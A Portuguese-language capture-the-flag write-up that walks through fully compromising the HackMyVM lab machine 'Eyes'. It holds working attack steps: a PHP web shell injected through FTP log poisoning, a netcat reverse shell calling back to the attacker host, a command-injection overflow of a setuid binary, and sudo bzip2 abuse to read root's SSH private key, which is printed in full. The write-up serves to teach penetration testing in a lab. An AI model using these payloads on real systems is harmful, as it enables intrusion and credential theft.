Eyes

#easy #HackMyVM #Linux #eJPT #eWPT

Guia com dicas que podem te auxiliar na resolução do CTF antes de ler o write-up.

Escaneie portas do alvo para identificar serviços
Verifique o acesso anônimo do servidor FTP
Baixe arquivos interessantes do FTP
Identifique uma vulnerabilidade no arquivo PHP
Acesse arquivos locais do alvo
Injete código malicioso nos logs
Obtenha uma shell reversa na máquina alvo
Explore diretórios como /opt em busca de arquivos interessantes
Veja como o programa se comporta recebendo muitos caracteres (Segmentation Fault)
Veja as permissões SUDO do novo usuário
Consulte como explorar o binário bzip2
Obtenha a Chave Privada SSH do Root

Reconhecimento de Rede

Descoberta de Hosts Ativos

O primeiro passo foi identificar os hosts ativos na rede local. Para isso, utilizei a ferramenta netdiscover, que realiza uma varredura ARP passiva. Este método é eficaz para descobrir dispositivos que estão na mesma sub-rede, uma vez que a comunicação ARP é comum entre dispositivos conectados.

attacker> netdiscover -r 10.0.2.1/24
 Currently scanning: Finished!   |   Screen View: Unique Hosts

 4 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 240
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname
 -----------------------------------------------------------------------------
 10.0.2.11       08:00:27:0f:f2:81      1      60  PCS Systemtechnik GmbH

O scan revelou que a máquina alvo estava no IP 10.0.2.11. Esse foi o meu ponto de partida para os próximos passos.

Verificando a conectividade via Ping

A primeira ação para reconhecimento do alvo é testar a conectividade com ele, utilizando o comando ping. Ao enviar um pacote ICMP, podemos confirmar se a máquina alvo está acessível na rede.

No retorno, o TTL de 63 é uma indicação de que possivelmente estamos lidando com um sistema Linux. O TTL inicial para sistemas Linux costuma ser 64, e o valor observado no ping geralmente é reduzido conforme os pacotes atravessam roteadores na rede. Como o TTL está próximo de 64, é provável que o sistema alvo seja uma máquina Linux.

attacker> ping -c 1 10.0.2.11
PING 10.0.2.11 (10.0.2.11) 56(84) bytes of data.
64 bytes from 10.0.2.11: icmp_seq=1 ttl=64 time=1.28 ms

--- 10.0.2.11 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 1.276/1.276/1.276/0.000 ms

Varredura de Portas e Serviços

Em seguida, executei um escaneamento de porta no alvo para identificar quaisquer portas abertas que pudessem ser usadas para novos ataques. Usei a ferramenta rustscan para verificar todas as portas (1-65535) no alvo.

attacker> rustscan -a 10.0.2.11 -r 1-65535 -- -sCV -n -Pn -oX nmap.xml
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
🌍HACK THE PLANET🌍

PORT   STATE SERVICE REASON         VERSION
21/tcp open  ftp     syn-ack ttl 64 vsftpd 3.0.3
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:10.0.2.5
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--    1 0        0             125 Apr 04  2021 index.php
22/tcp open  ssh     syn-ack ttl 64 OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 b1:12:94:12:60:67:e1:0b:45:c1:8d:e9:21:13:bc:51 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFQ4qkZ9D5CvFtWC3WBnPYOHrM2maPa4OOMI6bTfNqwUfJjd+Sn2T7fokjikC9gx4S/Vj+/es9wH0WY9sA5TS2sOKnULHTxM9z+QvO42G60zCG0MBHYa71yeMHKklQ1M/n5jtT366SIkl95Mitw8/tuIZtq8cXkDYMGfIm60bPYaTbDyyLNJemMVJ6un6avC93yyyZIvy9u8S8KdjtB8n7WOu8MJmdxlRkHDNsMZ6vHS/i0c7RmJ/NrJUvR4U53J3yDhFi0l+0GtiCUl2/J3gYgOPujkvkg5KQRbsHrR/v77Ig438PJ8EAG82lQuHMnwY3PIH9M8A9y09/swtNfzm3
|   256 b7:7f:25:94:d6:4e:88:56:8a:22:34:16:c2:de:ba:02 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBIlB0iWqqfFgpg4PaaMZjfs28ZkCa49mPLY8F8V5PFEy8y0KF7X1VKB+WKS/TSK7ujW3Dr3u1OgLK8vw4om/q1U=
|   256 30:c7:a2:90:39:5d:24:13:bf:aa:ba:4c:a7:f4:2f:bb (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJrcKRHqtkWX7DttOoV7rw/0s7Uf9/RUL82Vf0a8ZBN8
80/tcp open  http    syn-ack ttl 64 nginx 1.14.2
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
| http-methods:
|_  Supported Methods: GET HEAD POST
|_http-server-header: nginx/1.14.2
MAC Address: 08:00:27:0F:F2:81 (Oracle VirtualBox virtual NIC)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

A varredura revelou os seguintes serviços:

21/tcp: FTP (vsFTPd 3.0.3) - Acesso anônimo permitido
22/tcp: SSH (OpenSSH 7.9p1)
80/tcp: HTTP (Nginx 1.14.2)

Explorando o Serviço FTP

O serviço FTP na porta 21 permitia acesso anônimo, ou seja, era possível acessar os arquivos sem necessidade de autenticação. Com isso, foi possível listar os arquivos e baixar um deles para análise.

Acessando o FTP:

attacker> ftp 10.0.2.11
Connected to 10.0.2.11.
220 (vsFTPd 3.0.3)
Name (10.0.2.11:bruno): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.

Ao listar os diretórios, encontrei um arquivo interessante chamado index.php:

ftp> ls -la
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    2 0        113          4096 Apr 04  2021 .
drwxr-xr-x    2 0        113          4096 Apr 04  2021 ..
-rw-r--r--    1 0        0             125 Apr 04  2021 index.php
226 Directory send OK.

Baixando o arquivo:

ftp> get index.php
local: index.php remote: index.php
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for index.php (125 bytes).
226 Transfer complete.
125 bytes received in 0.00 secs (55.5876 kB/s)
ftp> quit
221 Goodbye.

Analisando o Arquivo PHP

Depois de baixar o arquivo index.php, o próximo passo foi analisá-lo. Ao abrir o arquivo, ficou evidente uma vulnerabilidade de Inclusão de Arquivo Local (LFI). O código PHP recebia um parâmetro via GET e o incluía diretamente no código, sem qualquer tipo de sanitização.

attacker> batcat -l php index.php
───────┬───────────────────────────────────────
       │ File: index.php
───────┼───────────────────────────────────────
   1   │ <?php
   2   │ $file = $_GET['fil3'];
   3   │ if(isset($file))
   4   │ {
   5   │ include($file);
   6   │ }
   7   │ else
   8   │ {
   9   │ print("Here my eyes...");
  10   │ }
  11   │ ?>
  12   │ <!--Monica's eyes-->

A linha vulnerável é a que faz o include do parâmetro fil3 sem nenhuma validação, possibilitando assim a exploração de LFI para acessar arquivos arbitrários no servidor.

Explorando o Serviço HTTP

Depois de identificar que o serviço HTTP estava ativo na porta 80, utilizei a ferramenta WhatWeb para obter mais informações sobre o servidor web e outras possíveis tecnologias em uso.

attacker> whatweb -v http://10.0.2.11 | tee whatweb.txt
WhatWeb report for http://10.0.2.11
Status    : 200 OK
Title     : <None>
IP        : 10.0.2.11
Country   : RESERVED, ZZ

Summary   : HTTPServer[nginx/1.14.2], nginx[1.14.2]
...
HTTP Headers:
        HTTP/1.1 200 OK
        Server: nginx/1.14.2
        Date: Thu, 25 Aug 2022 21:45:59 GMT
        Content-Type: text/html; charset=UTF-8
        Transfer-Encoding: chunked
        Connection: close
        Content-Encoding: gzip

O comando acima foi usado para explorar o alvo. O WhatWeb retornou que o servidor em execução era o Nginx, versão 1.14.2.

Acessando a página no navegador, vemos que ela reflete o texto "Here my eyes...", sendo o mesmo texto do arquivo .php analisado, indicando que aquele arquivo no FTP do alvo seja o mesmo utilizado na aplicação web, logo, podendo conter a mesma vulnerabilidade de LFI que observamos no código.

Local File Inclusion (LFI)

Para explorar a vulnerabilidade de LFI encontrada no arquivo index.php, usei o comando curl para acessar arquivos sensíveis no servidor. O primeiro arquivo que tentei acessar foi o /etc/passwd, que contém informações sobre os usuários do sistema.

attacket> curl -s -X GET 'http://10.0.2.11/?fil3=/etc/passwd' | tee passwd.txt
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
monica:x:1000:1000:monica,,,:/home/monica:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
ftp:x:105:113:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
<!--Monica's eyes-->

O comando acima acessou o arquivo /etc/passwd e mostrou o conteúdo, confirmando que a vulnerabilidade de LFI era explorável.

Esse arquivo revelou que havia uma usuária chamada monica, com um diretório /home/monica, sugerindo que essa conta poderia ser o próximo alvo para uma escalada de privilégios.

Para verificar quais usuários têm shells válidas, filtrei as linhas que terminam com sh.

attacker> cat passwd.txt | grep "sh$"
root:x:0:0:root:/root:/bin/bash
monica:x:1000:1000:monica,,,:/home/monica:/bin/bash

Com essa informação, pude confirmar que tanto o root quanto a usuária monica têm shells válidas.

LFI para RCE via FTP Log Poisoning

Sabendo que havia uma vulnerabilidade de LFI, explorei a técnica de log poisoning para transformar essa vulnerabilidade em execução remota de código (RCE). O objetivo era injetar um código PHP malicioso nos logs do FTP e, em seguida, acessá-los via LFI para obter uma shell reversa.

Primeiro, verifiquei se os logs do FTP estavam acessíveis via LFI.

attacker> curl -s -X GET 'http://10.0.2.11/?fil3=//var/log/vsftpd.log'
... [pid 22899] CONNECT: Client "::ffff:192.168.1.58"
... [pid 574] CONNECT: Client "::ffff:10.0.2.5"
... [pid 578] CONNECT: Client "::ffff:10.0.2.5"
... [pid 584] CONNECT: Client "::ffff:10.0.2.5"
... [pid 586] CONNECT: Client "::ffff:10.0.2.5"
... [pid 587] CONNECT: Client "::ffff:10.0.2.5"
... [pid 588] CONNECT: Client "::ffff:10.0.2.5"
... [pid 583] [ftp] OK LOGIN: Client "::ffff:10.0.2.5", anon password "IEUser@"
... [pid 581] [ftp] OK LOGIN: Client "::ffff:10.0.2.5", anon password "IEUser@"
... [pid 580] [ftp] OK LOGIN: Client "::ffff:10.0.2.5", anon password "IEUser@"
... [pid 605] CONNECT: Client "::ffff:10.0.2.5"
... [pid 607] CONNECT: Client "::ffff:10.0.2.5"
... [pid 609] CONNECT: Client "::ffff:10.0.2.5"
... [pid 659] CONNECT: Client "::ffff:10.0.2.5"
... [pid 658] [ftp] OK LOGIN: Client "::ffff:10.0.2.5", anon password "?"
... [pid 660] [ftp] OK DOWNLOAD: Client "::ffff:10.0.2.5", "/index.php", 125 bytes, 24.32Kbyte/sec

Confirmando que o arquivo de logs era acessível, o próximo passo foi injetar um payload PHP nos campos de login do FTP. Isso permitiria que o código PHP fosse registrado no log, onde seria executado quando acessado via LFI.

Conectei-me ao FTP e, nos campos de nome de usuário e senha, injetei o seguinte payload PHP: <?php system($_GET['cmd']); ?>.

attacker> ftp 10.0.2.11
Connected to 10.0.2.11.
220 (vsFTPd 3.0.3)
Name (10.0.2.11:bruno): '<?php system($_GET['cmd']); ?>'
331 Please specify the password.
Password:
530 Login incorrect.
Login failed.
ftp> quit
221 Goodbye.

Apesar da falha no login, o payload foi registrado no arquivo de log, permitindo sua execução através do LFI.

Acessando os Logs e Executando Comandos

Para verificar se o payload PHP foi executado com sucesso, usei o LFI para acessar os logs e passei o comando whoami como parâmetro.

attacker> curl -s -X GET 'http://10.0.2.11/?fil3=/var/log/vsftpd.log&cmd=whoami'
... [pid 22899] CONNECT: Client "::ffff:192.168.1.58"
... [pid 574] CONNECT: Client "::ffff:10.0.2.5"
... [pid 578] CONNECT: Client "::ffff:10.0.2.5"
... [pid 584] CONNECT: Client "::ffff:10.0.2.5"
... [pid 586] CONNECT: Client "::ffff:10.0.2.5"
... [pid 587] CONNECT: Client "::ffff:10.0.2.5"
... [pid 588] CONNECT: Client "::ffff:10.0.2.5"
... [pid 583] [ftp] OK LOGIN: Client "::ffff:10.0.2.5", anon password "IEUser@"
... [pid 581] [ftp] OK LOGIN: Client "::ffff:10.0.2.5", anon password "IEUser@"
... [pid 580] [ftp] OK LOGIN: Client "::ffff:10.0.2.5", anon password "IEUser@"
... [pid 605] CONNECT: Client "::ffff:10.0.2.5"
... [pid 607] CONNECT: Client "::ffff:10.0.2.5"
... [pid 609] CONNECT: Client "::ffff:10.0.2.5"
... [pid 659] CONNECT: Client "::ffff:10.0.2.5"
... [pid 658] [ftp] OK LOGIN: Client "::ffff:10.0.2.5", anon password "?"
... [pid 660] [ftp] OK DOWNLOAD: Client "::ffff:10.0.2.5", "/index.php", 125 bytes, 24.32Kbyte/sec
... [pid 414] CONNECT: Client "::ffff:10.0.2.5"
... [pid 416] CONNECT: Client "::ffff:10.0.2.5"

... [pid 415] ['www-data

'] FAIL LOGIN: Client "::ffff:10.0.2.5"
<!--Monica's eyes-->

A resposta indicou que o comando foi executado com sucesso e que o servidor estava rodando como o usuário www-data.

Obtenção de uma Shell Reversa

Com a execução remota de comandos confirmada, meu próximo passo foi obter uma shell reversa para ter controle total sobre a máquina. Para isso, utilizei o netcat para enviar uma conexão reversa para minha máquina de ataque.

Primeiro, configurei o meu listener com netcat:

attacker> nc -nlvp 443

Em seguida, executei o seguinte comando no alvo através da LFI para iniciar a conexão reversa:

attacker> curl -s -X GET 'http://10.0.2.11/?fil3=/var/log/vsftpd.log&cmd=nc+-e+/bin/bash+10.0.2.5+443'

No meu listener, recebi a conexão:


attacker> nc -nlvp 443
Listening on 0.0.0.0 443
Connection received on 10.0.2.11 41786
id; hostname -I
uid=33(www-data) gid=33(www-data) groups=33(www-data)
10.0.2.11

Agora, com uma shell na máquina alvo como o usuário www-data, o próximo passo seria investigar o sistema para identificar possíveis vetores de escalada de privilégios e avançar na exploração da máquina.

Upgrade da Shell

Após obter o acesso inicial com o shell reverso, o próximo passo foi melhorar a interatividade da shell para garantir que tivéssemos um controle mais robusto sobre o sistema alvo.

Gerando um console bash em segundo plano: Para garantir que tivéssemos um bash funcional, foi necessário criar um processo de bash através do comando script, que abre uma sessão interativa mais apropriada, logo após, colocamos em background com CTRL+Z:
```
script /dev/null -c bash
Script started, file is /dev/null
www-data@eyes:~/html$ ^Z
[1]+  Stopped                 nc -nlvp 443
```
Verificando as dimensões do terminal na máquina atacante: Antes de ajustar o terminal no alvo, verificamos as dimensões da janela na máquina atacante para mantê-las iguais:
```
attacker> stty size
55 153
```
Resetando o terminal no alvo: Após isso, resetei o terminal do alvo com uma nova TTY:
```
attacker> stty raw -echo; fg
nc -nlvp 443
            reset xterm
```
Definindo dimensões e variáveis de ambiente: Com o terminal tratado, exportei as variáveis de ambiente e ajustei as dimensões corretamente:
```
www-data@eyes:~/html$ stty rows 55 columns 153
www-data@eyes:~/html$ export SHELL=bash TERM=xterm
```

Escalada de Privilégios

Agora que temos uma shell interativa estável, podemos explorar o sistema para escalar privilégios. Vamos começar inspecionando o diretório /opt.

www-data@eyes:/opt$ ls -la
total 36
drwxr-xr-x  2 root   root    4096 Apr  4  2021 .
drwxr-xr-x 18 root   root    4096 Apr  4  2021 ..
-rwsr-sr-x  1 root   root   16864 Apr  4  2021 ls
-rw-r--r--  1 root   root     349 Apr  4  2021 ls.c
-rw-r--r--  1 monica monica    41 Apr  4  2021 note.txt

Ao analisar o código do arquivo ls.c, percebemos que ele contém uma vulnerabilidade de buffer overflow:

www-data@eyes:/opt$ cat ls.c
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <sys/types.h>

int main(void)
{
 char command[100];
 char ls[50]="/usr/bin/ls";
 char name[50];
 printf("Enter your name:");
 gets(name);
 strcpy(command,ls);
 setuid(1000);
 setgid(1000);
 printf("Hi %s, Im executing ls\n Output:\n",name);
 system(command);
}

O programa usa gets() para capturar a entrada do usuário, o que permite um ataque de buffer overflow, pois essa função não limita o tamanho da entrada.

No arquivo note.txt temos uma mensagem de "monica", afirmando estar preparando uma nova versão deste programa.

www-data@eyes:/opt$ cat note.txt
Im preparing the new ls program.
-monica

Testando o programa, vemos que há um input pro usuário onde inserimos um nome que é refletido, logo em seguida a funcionalidade de listar o diretório é executada, apresentando a listagem no output.

www-data@eyes:/opt$ ./ls
Enter your name:bruno
Hi bruno, Im executing ls
 Output:
ls  ls.c  note.txt

Buffer Overflow (Segmentation Fault)

A nível de POC, usamos o python para gerar um conjunto de 100 caracteres "a" para vermos como o programa se comporta ao receber isto como input.

attacker> python3 -c 'print(100*"a")'
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Ao colocar estes caracteres como input, vemos que é quebrada a funcionalidade do programa, dando um aparente erro.

www-data@eyes:/opt$ ./ls
Enter your name:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Hi aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa, Im executing ls
 Output:
sh: 1: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa: not found

Ao colocar 200 caracteres "a", vemos que o programa incorre num erro especifico de "Segmentation fault".

www-data@eyes:/opt$ ./ls
Enter your name:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Segmentation fault

Com isto, vamos explorar a falha enviando um padrão controlado para identificar o offset, para saber em que ponto ocorre a falha de segmentação:

attacker> /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 100
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

Injetando esse padrão podemos ver em qual parte está quebrando a aplicação (c1Ac).

www-data@eyes:/opt$ ./ls
Enter your name:Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
Hi Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A, Im executing ls
 Output:
sh: 1: c1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A: not found

Dessa forma podemos ver o offset que no caso é 64.

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q c1Ac
[*] Exact match at offset 64

Significa que podemos enviar 64 bytes (ou 64 caracteres "a") e em seguida injectar um comando, que por sua vez seria executado e controlado pelo usuário monica.

www-data@eyes:/opt$ ./ls
Enter your name:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa whoami; id
Hi aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa whoami; id, Im executing ls
 Output:
monica
uid=1000(monica) gid=33(www-data) groups=33(www-data)

Agora temos controle sobre o executável e obtemos acesso como o usuário monica.

Portanto, podemos obter um console bash como monica e assim ler a user flag.

www-data@eyes:/opt$ ./ls
Enter your name:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa bash
Hi aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa bash, Im executing ls
 Output:
monica@eyes:/opt$ cd /home/monica
monica@eyes:/home/monica$ cat user.txt
hmv***es

Obtendo Root via Bzip2

Conforme exibido ao usar o comando sudo -l, monica pode executar o binario bzip2 como qualquer usuário, inclusive root, sem precisar fornecer uma senha.

monica@eyes:/home/monica$ sudo -l
Matching Defaults entries for monica on eyes:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User monica may run the following commands on eyes:
    (ALL) NOPASSWD: /usr/bin/bzip2

Inclusive, podemos conferir técnicas de escalada de privilégio relacionadas a este binário no GTFobins:

https://gtfobins.github.io/gtfobins/bzip2/

A princípio, vamos utilizar o bzip2 para ler o arquivo id_rsa do root e assim obter acesso como root via SSH:

monica@eyes:/home/monica$ sudo -u root /usr/bin/bzip2 -c /root/.ssh/id_rsa | /usr/bin/bzip2 -d
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAQEArFKlwNcXIsZLyj2E4waArCaGEOYVJxX50k4mF81nzPtiIgX+32e9
sMfZd6oDpovRq2hEE8TKqdfHogyvpVHV2wBs/BLOAajO63GnFX8dAoBi/yzhnyYXgrNE9b
Cs5D6itQVBxC1EINy1TS67T14+jqK+9UNWdfQC8VlENBeaVbYI3vUSxQCbRqs92nQLrSVM
hYOa0zhYdWlkCH46aprZi1OTe4ZvSfuzYU3+tmhonwiYMyeAYCSEsnkCeUTF4zke9kRovP
upbKiPWoYHEKXPWYCDJ9xOD/K1yMsK8YJ2rOqyr5TkyO5HdEGZxj8MFMTFLyeyFG2kUHYy
llW2WQoqZQAAA8DTPxkj0z8ZIwAAAAdzc2gtcnNhAAABAQCsUqXA1xcixkvKPYTjBoCsJo
YQ5hUnFfnSTiYXzWfM+2IiBf7fZ72wx9l3qgOmi9GraEQTxMqp18eiDK+lUdXbAGz8Es4B
qM7rcacVfx0CgGL/LOGfJheCs0T1sKzkPqK1BUHELUQg3LVNLrtPXj6Oor71Q1Z19ALxWU
Q0F5pVtgje9RLFAJtGqz3adAutJUyFg5rTOFh1aWQIfjpqmtmLU5N7hm9J+7NhTf62aGif
CJgzJ4BgJISyeQJ5RMXjOR72RGi8+6lsqI9ahgcQpc9ZgIMn3E4P8rXIywrxgnas6rKvlO
TI7kd0QZnGPwwUxMUvJ7IUbaRQdjKWVbZZCiplAAAAAwEAAQAAAQEAgq5ajReQsAp5R3HH
6PLxeZvtZ7tUp0N/JQGm2b4nzceF8A9j7cAalom4XYtNIWw/ISH9HpDKsGq3NikwusqIx4
BXJgKMv61o3hxefWrccR0z9hfvMmYMxk11Km1FcAIgGe9WpJM/azx1MYcS/WmXP0wkTJM4
alMWODleA7Myk3QuG/jwVEZE37xaJHPwTpv9VRbqIjqw9XQbGvArzyuAsGWtMMMpZ3zwx5
LuthcWa2B0u4ND+KCi6vk/phwtoHJL26FiCFHdNUda7UgssdBQ0jby/0wdHK4BvwooZS6v
23Ly1Lw37prz8GN8S504Xa5zKG0St1Xb+rT77lRDOsfTgQAAAIEAjbYIgPvhTt3ZS+ne8R
iDgwrIOZIKCwb+s5o5F0vH0c/++s+weAghl+Fn8QfgCAMHapEZmyKjvLbixUT2B8F765S4
6omR8PD3i0Rr0j+pbBz9jNga/+XJjctLF+atU3aG0tB1Nc5Z/+eGtHjL1UJPNRaHtyb3zt
gOvMAN/5ZR8sMAAACBANl6TrhqiJaQcOdOT05Y4FxSh4r4ng2TTd5k1B9d2lSIVKeviKtj
L4QDlT/uzE6Rf0bNgunP+qT5YjB4ag/17sm7GDzSd+8MDnkeRTDEtHjPwLEHUYDyNl0/wS
9B+rlHu84WMYexmltA30PjAUQXaztYcKortlBHF8PRqHcatJaJAAAAgQDK2MGRmyabimXN
Ursppl+JsMn/xvaUj6AvlTmdyH7rGmjwa4s9OP503AX59/pRyyhGOuPyaiWR8kNp5YOkH0
Zv8bGSSWUP3b7ScjgCMVaXXVmEgG+feZyf1swM2WwQVZzs152wZcrK3hFG/vIFlFwcDD3y
pN2NMCkY0EFGqmz9/QAAAAlyb290QGV5ZXM=
-----END OPENSSH PRIVATE KEY-----

Copie o conteúdo da chave privada id_rsa, salve em um arquivo na máquina atacante e altere as permissões:

attacker> chmod 600 root_id_rsa

Conecte-se ao alvo via SSH como root:

attacker> ssh -i root_id_rsa root@10.0.2.11
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.

Por fim, podemos capturar a root flag!

root@eyes:~# cat /root/root.txt
boomroothmv

Com a escalada de privilégios bem-sucedida e acesso root obtido, todas as flags foram coletadas e a máquina foi totalmente comprometida.

AnteriorHackMyVM PróximoTheHackersLabs

Atualizado há 8 meses